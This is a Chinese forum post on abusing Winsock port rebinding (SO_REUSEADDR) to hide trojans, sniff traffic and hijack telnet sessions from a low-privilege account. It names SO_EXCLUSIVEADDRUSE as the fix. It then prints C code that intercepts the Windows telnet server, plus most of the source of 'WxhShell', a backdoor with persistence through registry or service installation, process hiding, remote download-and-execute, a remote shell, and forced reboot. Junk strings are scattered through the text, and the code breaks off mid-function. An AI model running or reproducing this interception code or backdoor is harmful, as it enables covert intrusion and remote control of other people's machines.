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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @ViJJ\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8tWOVLquJ  
v*%#Fp,g8  
  saddr.sin_family = AF_INET; -k{n"9a9?  
.s 31D%N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CW k#Amt.  
%iWup:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -UaUFJa8K&  
)SZt If  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 - |mWi  
.5I!h !  
  这意味着什么?意味着可以进行如下的攻击: 16MRLDhnD  
` bd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $ WAFr  
=whZ?,u1   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0uzm@'^  
4C^;lK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P"0S94o:5J  
V,bfD3S3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  THirh6  
b:.aZ7+4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P0J3ci}^  
HlqvXt\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ktg{-Xl  
9I8{2]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v8"plx=3  
\P]w^  
  #include Ev;HV}G  
  #include M:|Z3p K  
  #include H8~<;6W  
  #include    J#B% #X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TEl :;4  
  int main() >TUs~  
  { c 6sGjZdR  
  WORD wVersionRequested; `_sc_Y|C!  
  DWORD ret; pN/)$6=  
  WSADATA wsaData; Tl=cniy]  
  BOOL val; 0!F"s>(H  
  SOCKADDR_IN saddr; y0qrl4S)v  
  SOCKADDR_IN scaddr; 9Vz1*4Ln  
  int err; h)BRSs?v_D  
  SOCKET s; hK9Trrwau  
  SOCKET sc; Dt)\q^bH)  
  int caddsize; knX0b$$  
  HANDLE mt; 6> v`6  
  DWORD tid;   J& }/Xw)  
  wVersionRequested = MAKEWORD( 2, 2 ); Pl<r*d)h  
  err = WSAStartup( wVersionRequested, &wsaData );  6\ /x  
  if ( err != 0 ) { ~H/|J^ J  
  printf("error!WSAStartup failed!\n"); yiGq?WA7  
  return -1; j <>|Hi #`  
  } ^,')1r,  
  saddr.sin_family = AF_INET; %pgie"k   
   tLe!_p)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q=J"#EFs  
!7!xJ&/V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8;;!2>N  
  saddr.sin_port = htons(23); v!?bEM3D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H];|<G  
  { R*IO%9O  
  printf("error!socket failed!\n"); Qj~m;F!  
  return -1; d_=@1 JM>  
  } 8RWfv}:X  
  val = TRUE; Gwxx W   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ')t :!#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $.kP7!`:,  
  { K^`3Bg  
  printf("error!setsockopt failed!\n"); j?%^N\9  
  return -1; C4],7"Sw  
  } BL<.u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Pcut#8?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C{!L +]/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /%|JP{   
r(iT&uz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XVAy uuTg\  
  { 4>nY't;0  
  ret=GetLastError(); E%OY7zf`%  
  printf("error!bind failed!\n"); W-q2|NK  
  return -1; G$pTTT6#  
  } w*<XPBi  
  listen(s,2); NR-d|`P;  
  while(1) ?>5[~rMn  
  { jW*|Mu>2  
  caddsize = sizeof(scaddr); TjxZ-qw<  
  //接受连接请求 @#K19\dQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l CHaRR7  
  if(sc!=INVALID_SOCKET) 90> (`pI=  
  { 3^ ~M7=k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K[0.4+  
  if(mt==NULL) 5G=<2;  
  { jZeY^T)f"  
  printf("Thread Creat Failed!\n"); tGnBx)J|  
  break; #pu6^NTK  
  } bqp6cg\p  
  } XJy~uks,  
  CloseHandle(mt); CI"7* z_  
  } "OF4#a17  
  closesocket(s); lP& 7U  
  WSACleanup(); :8aa#bA  
  return 0; ^%|,G:r  
  }   M*FUtu  
  DWORD WINAPI ClientThread(LPVOID lpParam) P:h;"  
  { >c%OnA,3  
  SOCKET ss = (SOCKET)lpParam; /ylO["<Q  
  SOCKET sc; 5vs~8|aRo  
  unsigned char buf[4096]; Bz<T{f  
  SOCKADDR_IN saddr; C,7d  
  long num; bh|M]*Pq  
  DWORD val; s.I%[kada  
  DWORD ret; >(mp$#+w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WZO8|hY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uc!j`G*]  
  saddr.sin_family = AF_INET; S9R(;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fe PH=C  
  saddr.sin_port = htons(23); .?R~!K{`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iSu7K&X9q  
  { w>Iw&US  
  printf("error!socket failed!\n"); -SZXUN  
  return -1; ,?k[<C  
  } 7S$Am84%  
  val = 100; eqbQ,, &  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >)*'w!  
  { \MBbZB9@  
  ret = GetLastError(); 2g5i3C.q$  
  return -1; HA&7 ybl  
  } $U%M]_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z- |.j^n  
  { |S.G#za  
  ret = GetLastError(); I^"ou M9}Q  
  return -1; }a?PB o`  
  } D\|$ ! i}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~_opU(;f  
  { aX`"V/  
  printf("error!socket connect failed!\n"); +v.uP [H  
  closesocket(sc); {<&i4;  
  closesocket(ss); @_s`@ ,=  
  return -1; Ie{98  
  } Qt`hUyL  
  while(1) #HFB* >  
  { p=%Vo@*]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s}Phw2`1U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y4*i V;"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :T^!<W4  
  num = recv(ss,buf,4096,0); /(IV+  
  if(num>0) -^sW{s0Rc  
  send(sc,buf,num,0); `roos<F1D  
  else if(num==0) < kyT{[e+6  
  break; Zjqa n  
  num = recv(sc,buf,4096,0); )!6JSMS  
  if(num>0) <T]%Gg8  
  send(ss,buf,num,0); },58B  
  else if(num==0) fkf69,+"]  
  break; _8t5rF  
  } I5]=\k($  
  closesocket(ss); 1o"/5T:S[  
  closesocket(sc); |vW(;j6  
  return 0 ; .{+KKa $@G  
  } xz2U?)m;x  
9V&} %  
PdiP5S }/  
========================================================== .T~<[0Ex+U  
=k.:XblEe[  
下边附上一个代码,,WXhSHELL EdGA#i3  
,fWQSc\}  
========================================================== ;W%nBdE6|  
(NfP2E|B  
#include "stdafx.h" tUX4#{)q(j  
F6>K FU8  
#include <stdio.h> :5)Dn87  
#include <string.h> vHR-mQUs  
#include <windows.h> VB>KT(n-b  
#include <winsock2.h> l e+6;'Q  
#include <winsvc.h> S&/</%  
#include <urlmon.h> 3 #GZ6:rVJ  
aD)$aK  
#pragma comment (lib, "Ws2_32.lib") !ieMhJ5r  
#pragma comment (lib, "urlmon.lib") o95)-Wb  
i%BrnjX  
#define MAX_USER   100 // 最大客户端连接数 cr GFU?8  
#define BUF_SOCK   200 // sock buffer  1B}q?8n  
#define KEY_BUFF   255 // 输入 buffer [/dGOl+  
& gF*p  
#define REBOOT     0   // 重启 m]H[$ Q  
#define SHUTDOWN   1   // 关机 OAigq6[,  
Zop3[-  
#define DEF_PORT   5000 // 监听端口 x)evjX=q  
<Q57}[$*)  
#define REG_LEN     16   // 注册表键长度 N:R6 b5 =}  
#define SVC_LEN     80   // NT服务名长度 n(X{|?  
"FuOWI{in  
// 从dll定义API :`u?pc27Sm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V|6PKED  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b"D? @dGB,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tG8)!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ah^0FU%!g  
ed3d 6/%HR  
// wxhshell配置信息 `O~NT'Ed8  
struct WSCFG { Mc8|4/<Z  
  int ws_port;         // 监听端口 u&4CXv=  
  char ws_passstr[REG_LEN]; // 口令 5ggmS<=  
  int ws_autoins;       // 安装标记, 1=yes 0=no fZQL!j4  
  char ws_regname[REG_LEN]; // 注册表键名 q/T(s  
  char ws_svcname[REG_LEN]; // 服务名 t "y[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -NzO,?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dl C\sm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zl,c+/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }"} z7Xb0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" So?.V4aD_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'u9,L FO  
8H2zM IB  
}; 3k YVk  
[tN^)c`s/  
// default Wxhshell configuration 0*e)_l!  
struct WSCFG wscfg={DEF_PORT, oJ\)-qSf  
    "xuhuanlingzhe", kg,t[Jl  
    1, > L5fc".  
    "Wxhshell", z+@ CzHCN  
    "Wxhshell", V[9#+l~#  
            "WxhShell Service", * SAYli+@  
    "Wrsky Windows CmdShell Service", bx!uHL=  
    "Please Input Your Password: ", 9NUft8QB  
  1, \R"}=7  
  "http://www.wrsky.com/wxhshell.exe", 'K|Jg.2  
  "Wxhshell.exe" k8>(-W"A  
    }; 4)]w"z0Pc  
mT]+wi&  
// 消息定义模块 (I<]@7>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f/1soGA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z-9@K<`H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *[ ' n8Z  
char *msg_ws_ext="\n\rExit."; i 4sd29v  
char *msg_ws_end="\n\rQuit."; "h@|XI  
char *msg_ws_boot="\n\rReboot..."; qcN{p7=0  
char *msg_ws_poff="\n\rShutdown..."; LwPZRE#  
char *msg_ws_down="\n\rSave to "; fj 14'T  
_:R Q9x'  
char *msg_ws_err="\n\rErr!"; >Q(+H-w  
char *msg_ws_ok="\n\rOK!"; ,(1n(FZ  
!yUn|v>&p  
char ExeFile[MAX_PATH]; ` u|8WK:  
int nUser = 0; B: '}SA{  
HANDLE handles[MAX_USER]; 6CQ.>M:R  
int OsIsNt; 72i ]`   
-|1H-[Y(  
SERVICE_STATUS       serviceStatus; w@K4u{|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W|~Jl7hs8Q  
;HKb  
// 函数声明 4blw9x N  
int Install(void); It5U=PU  
int Uninstall(void); )^Ha?;TS  
int DownloadFile(char *sURL, SOCKET wsh); iTX:*$~I  
int Boot(int flag); tQ:g#EqL9B  
void HideProc(void); tVAWc$3T  
int GetOsVer(void); ;f]p`!] 3  
int Wxhshell(SOCKET wsl); h;q= <[h\  
void TalkWithClient(void *cs); g&79?h4UXQ  
int CmdShell(SOCKET sock); ^[UWG^d  
int StartFromService(void); \IL;}D{  
int StartWxhshell(LPSTR lpCmdLine); fPW|)e"  
`5HFRgL`.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mz?xvP?z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fG *1A\t]  
P4\{be>e  
// 数据结构和表定义 "PFczoRZ  
SERVICE_TABLE_ENTRY DispatchTable[] = E?VPCx  
{ 0r4,27w  
{wscfg.ws_svcname, NTServiceMain}, &1=Je$,  
{NULL, NULL} k!&G ;6O-  
}; |igr3p5Fw  
PIZnzZ@Z;  
// 自我安装 "7]YvZYu0  
int Install(void) >DFpL$oP  
{ zC@ ziH>{]  
  char svExeFile[MAX_PATH]; zRO-oOJ  
  HKEY key; \(4"kY_=  
  strcpy(svExeFile,ExeFile); Dw%V.J/&o  
2 }9of[  
// 如果是win9x系统,修改注册表设为自启动 (31ia"i%  
if(!OsIsNt) { 3 s@6pI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Ce8( "v,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r Jo8|  
  RegCloseKey(key); V`ODX>\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cWNZ +Q8Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]JQ+*ZYUE  
  RegCloseKey(key); [lU0TDq  
  return 0; MD"a%H#p  
    } N WSm  
  } )aV\=a |A  
} T[ ~8u9/  
else { A#b`{C~l  
*btLd7c%  
// 如果是NT以上系统,安装为系统服务 !=)R+g6b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $uPM.mPFE  
if (schSCManager!=0) sp&s 5aw  
{ ;s^br17z~  
  SC_HANDLE schService = CreateService WfdM~k\  
  ( ?{)sdJe  
  schSCManager, /Zzb7bHLK  
  wscfg.ws_svcname, WxLmzSz{xD  
  wscfg.ws_svcdisp, RJYB=y8l  
  SERVICE_ALL_ACCESS, >5O#_?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zeC@!,lH  
  SERVICE_AUTO_START, Z(|@C(IL0\  
  SERVICE_ERROR_NORMAL, \Zn%r&(  
  svExeFile, a/ 4!zT   
  NULL, )}Vb+  
  NULL, Bq l 5=p  
  NULL, _v[yY3=3  
  NULL, ~o <+tL  
  NULL B}:/2?gQ  
  ); {?!0<0  
  if (schService!=0) /k$H"'`j4  
  { mY)Y47iL  
  CloseServiceHandle(schService); =\QKzQ'BC  
  CloseServiceHandle(schSCManager); Q5ZZ4`K!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :jKiHeBQu?  
  strcat(svExeFile,wscfg.ws_svcname); F6L}n-p5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -T,/S^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #Epx'$9  
  RegCloseKey(key); 5qe6/E@  
  return 0; !ek};~(  
    } *X_-8 ^~  
  } -(Zi  
  CloseServiceHandle(schSCManager); #4yh-D"  
} '\,|B x8Q  
} ?k 4|;DD  
Iu)76Y@=5=  
return 1; qe/|u3I<lF  
} i[+cNJ|$B0  
B#A .-nb  
// 自我卸载 #"T< mM7  
int Uninstall(void) Ej[:!L  
{  Y ,  
  HKEY key; 1#Ls4+]5  
03%`ouf  
if(!OsIsNt) { 7])cu>/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J2KULXF  
  RegDeleteValue(key,wscfg.ws_regname); lI)RaiMr=  
  RegCloseKey(key); pv}k=wqJ1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t+H=%{z  
  RegDeleteValue(key,wscfg.ws_regname); dj;Zzt3  
  RegCloseKey(key); ZH1W#dt`[  
  return 0; eG @0:  
  } Ala~4_" WL  
} 342m=7lK  
} AZHZUd4  
else { hoLQuh%2%  
34Fc oud);  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bd8{25{c  
if (schSCManager!=0) dF`\ewRFn  
{ |riP*b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fr19C%{  
  if (schService!=0) Miw*L;u@W  
  { xn &$qLB  
  if(DeleteService(schService)!=0) { @)IHd6 R  
  CloseServiceHandle(schService); x!i(M>P  
  CloseServiceHandle(schSCManager); |_} LMkU)  
  return 0; ,Fv8&tR  
  } _MI8P/  
  CloseServiceHandle(schService); 46(=*iT&V  
  } 4Y>J,c  
  CloseServiceHandle(schSCManager); _Yms]QEZ  
} 6Hh\ys  
} R.Uwf  
2~wIHtd  
return 1; 3j h: K   
} #+Pk_?  
O} &%R:  
// 从指定url下载文件 KJs/4oR;  
int DownloadFile(char *sURL, SOCKET wsh) ^p}S5,  
{ wuV*!oefo  
  HRESULT hr; 8M~^/Zc  
char seps[]= "/"; c*@#0B  
char *token; "R!) "B==  
char *file; 'f "KV|  
char myURL[MAX_PATH]; !EuqJjh  
char myFILE[MAX_PATH]; 8NUVHcB6  
d41DcgG'j(  
strcpy(myURL,sURL); m 4r!Ck|  
  token=strtok(myURL,seps); Jfe<$-$$7  
  while(token!=NULL) Nr(t5TP^  
  { YWK|AT-4  
    file=token; 2X)n.%4g$;  
  token=strtok(NULL,seps); X9S` #N  
  } )o;oOPT!  
cU[^[;4J<  
GetCurrentDirectory(MAX_PATH,myFILE); X%sMna)  
strcat(myFILE, "\\"); 6!;eJYj,  
strcat(myFILE, file); *URBx"5XZ  
  send(wsh,myFILE,strlen(myFILE),0); `p'(:W3a  
send(wsh,"...",3,0); tW8&:L,m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lR8Lfa*/7  
  if(hr==S_OK) ^DQp9$la  
return 0; "dItv#<:}  
else ^{m&2l&87  
return 1; :,f~cdq=  
;dR4a@  
} DDwj[' R  
 A|90Ps  
// 系统电源模块 kgZiyPcw  
int Boot(int flag) 5dNM:1VoE  
{ d8p<f+  
  HANDLE hToken; #86=[*Dr  
  TOKEN_PRIVILEGES tkp; n5G|OK0,  
%p(!7FDE2n  
  if(OsIsNt) { ~M !9E])  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y;uQq-CP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N6%wHNYZ  
    tkp.PrivilegeCount = 1; Mnx')([;W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S!r,p};  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p3q >a<  
if(flag==REBOOT) { Fs}vI~}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MKPw;@-  
  return 0; pFW^   
} vhz[H  
else { _=Eb:n+X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ~0T;T  
  return 0; tF&g3)D:NV  
} mV'XH  
  } q[ -YXO  
  else { Jjr&+Q^3Tu  
if(flag==REBOOT) { v*[oe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -KA Y  
  return 0; e,cSB!7  
} 1I#]OY#>  
else { 0g{`Qd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j YVR"D;  
  return 0; JsA.j qkB  
} [zw0'-h.  
} m.g2>r`NU  
[(kC/W)!  
return 1; QrSF1y'd  
} , |lDR@  
$E,,::oJ  
// win9x进程隐藏模块 ,Qb(uirl]  
void HideProc(void) g7-*WN<  
{ W)z@>4`Bb  
9[@K4&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1. S?(1e"  
  if ( hKernel != NULL ) E/:mO~1< c  
  { M!D&a)\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U-6pia /o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xro%AM  
    FreeLibrary(hKernel); g[%^OT#  
  } u$%;03hJ  
pcC/$5FQ  
return; hziPHuK9,  
} Y A:!ULzR*  
\nbGdka  
// 获取操作系统版本 "+sl(A3`U  
int GetOsVer(void) A(84cmq!q  
{ `ttqgv\  
  OSVERSIONINFO winfo; l RM7s(^l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e{6I-5`|,#  
  GetVersionEx(&winfo); *2^+QKDG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S"Z.M _  
  return 1; 5oTj^W8M(  
  else ;_dOYG1  
  return 0; h( V:-D  
} 3I.0jA#T&/  
!V O^oD7  
// 客户端句柄模块 'L5ih|$>  
int Wxhshell(SOCKET wsl) *I<L1g%9d  
{ s.IYPH|pn  
  SOCKET wsh; G4jyi&]  
  struct sockaddr_in client; ( C~ u.  
  DWORD myID; kes GwMr"e  
{4^NZTjd@  
  while(nUser<MAX_USER) G 5!J9@Yi  
{ j#rj_uP  
  int nSize=sizeof(client); m3']/}xHO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EpUBO}q]  
  if(wsh==INVALID_SOCKET) return 1; $)v`roDD.  
0=erf62=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w'Vm'zo  
if(handles[nUser]==0) ggL^*MV  
  closesocket(wsh); '?O_(%3F0  
else D3(rD]c0{  
  nUser++; 3`+Bq+  
  } N% !TFQf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CY</v,\:#  
,~nrNkhp  
  return 0; Cw$7d:u  
} M$$Lsb [  
(CR]96n  
// 关闭 socket kD\7wz,ui  
void CloseIt(SOCKET wsh) h#~\-j9>  
{ Qk[YF  
closesocket(wsh); 08MY=PC~R  
nUser--; U.A:'9K,  
ExitThread(0); d9Uv/VGp  
} N_liKhq  
k esuM3  
// 客户端请求句柄 C;\R 62'  
void TalkWithClient(void *cs) aESlb H  
{ 2kkqPBc_  
!L3\B_#  
  SOCKET wsh=(SOCKET)cs; wi-F@})f#  
  char pwd[SVC_LEN]; >`=9So_J  
  char cmd[KEY_BUFF]; WvN{f*  
char chr[1]; $, vX yZ  
int i,j; e.Gjp {  
(8td0zq  
  while (nUser < MAX_USER) { ]WvV*FL9D3  
S>;+zVF]  
if(wscfg.ws_passstr) { ,TlYQ/j%h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1haNpLfS>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o XFo  
  //ZeroMemory(pwd,KEY_BUFF); pQCocy  
      i=0; PR3&LI;B*  
  while(i<SVC_LEN) { PdqyNn=  
ZE:!>VXa87  
  // 设置超时 vJ9IDc|[  
  fd_set FdRead; /I48jO^2  
  struct timeval TimeOut; {JlSfJw !  
  FD_ZERO(&FdRead); qtlcY8!  
  FD_SET(wsh,&FdRead); L]Dq1q8`  
  TimeOut.tv_sec=8; A/TCJ#>l  
  TimeOut.tv_usec=0; CNl @8&R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a&!K5(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m"f3hd4D_q  
3,yzRb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tRVz4fk[G  
  pwd=chr[0]; lnQY_~s  
  if(chr[0]==0xd || chr[0]==0xa) { K};~A?ET,h  
  pwd=0; 1"S~#  
  break; P^^WViVX  
  } {wh, "Ok_  
  i++; G Q\;f  
    } jT*?Z:U  
7-VP)|L#G  
  // 如果是非法用户,关闭 socket *X\J[$!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :6jh*,OHZl  
} 3W3)%[ 5  
f-`C1|\w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ] XjL""EbC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +lw8YH  
U W' @3#<?  
while(1) { %\] x}IC  
trz &]v=:  
  ZeroMemory(cmd,KEY_BUFF); |a!]Iqz"N  
@kWRI*m  
      // 自动支持客户端 telnet标准   Cg3 d  
  j=0; O39f  
  while(j<KEY_BUFF) { D}~uxw;[^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0b}.!k9  
  cmd[j]=chr[0]; 9>r@wK'Pn  
  if(chr[0]==0xa || chr[0]==0xd) { _c>8y  
  cmd[j]=0; 4SJb\R)XK  
  break; I~Q G  
  } <.=-9O6  
  j++;   bKt4  
    } I9L7,~s  
~oz??SX  
  // 下载文件 3c+ps;nh  
  if(strstr(cmd,"http://")) { Ya;y@44  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IG90mpLX  
  if(DownloadFile(cmd,wsh)) oVQbc \P3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!rj:f!>  
  else ~EM(*k._  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rUg|5EN^)d  
  } p^)w$UL}}  
  else { LRqlK\  
u]Z;Q_=  
    switch(cmd[0]) { 7O,!67+^~  
  e.WKf,e"X  
  // 帮助 uxlrJ1~M  
  case '?': { v}TFM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  {gb` %J  
    break; %5!K?,z%  
  } ]OV}yD2p  
  // 安装 R$bDj >8  
  case 'i': { SBg|V  
    if(Install()) 20/P:;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>H^:iqn  
    else U+,RP$r@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,olP}  
    break; [ d`m)MW-  
    } -I[KIeF  
  // 卸载 NqM=Nu\  
  case 'r': { "V`5 $ur  
    if(Uninstall()) :!wl/X ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gn^m541  
    else $"ACg!=M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;tC$O~X  
    break; JHa\"h  
    } V[0 ZNT&  
  // 显示 wxhshell 所在路径 F *1w8+  
  case 'p': { |t~*!0>3  
    char svExeFile[MAX_PATH]; fR]KXfZ  
    strcpy(svExeFile,"\n\r"); KNjU!Z/4  
      strcat(svExeFile,ExeFile); ~l}\K10L*  
        send(wsh,svExeFile,strlen(svExeFile),0); !8&EkXTw,  
    break; [lGxys)J  
    } B+z>$6  
  // 重启 m qwJya  
  case 'b': { Aw&0R"{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LfN,aW  
    if(Boot(REBOOT)) VniU:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kK:U+`+  
    else { e~geBlLar  
    closesocket(wsh); j/;wxKW  
    ExitThread(0); 5?m4B:W  
    } EHK+qrym  
    break; :LCyxLI  
    } {DZ xK(  
  // 关机 P!I Lji!  
  case 'd': { >[l2KD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1A[(RT]  
    if(Boot(SHUTDOWN)) VfwH:  
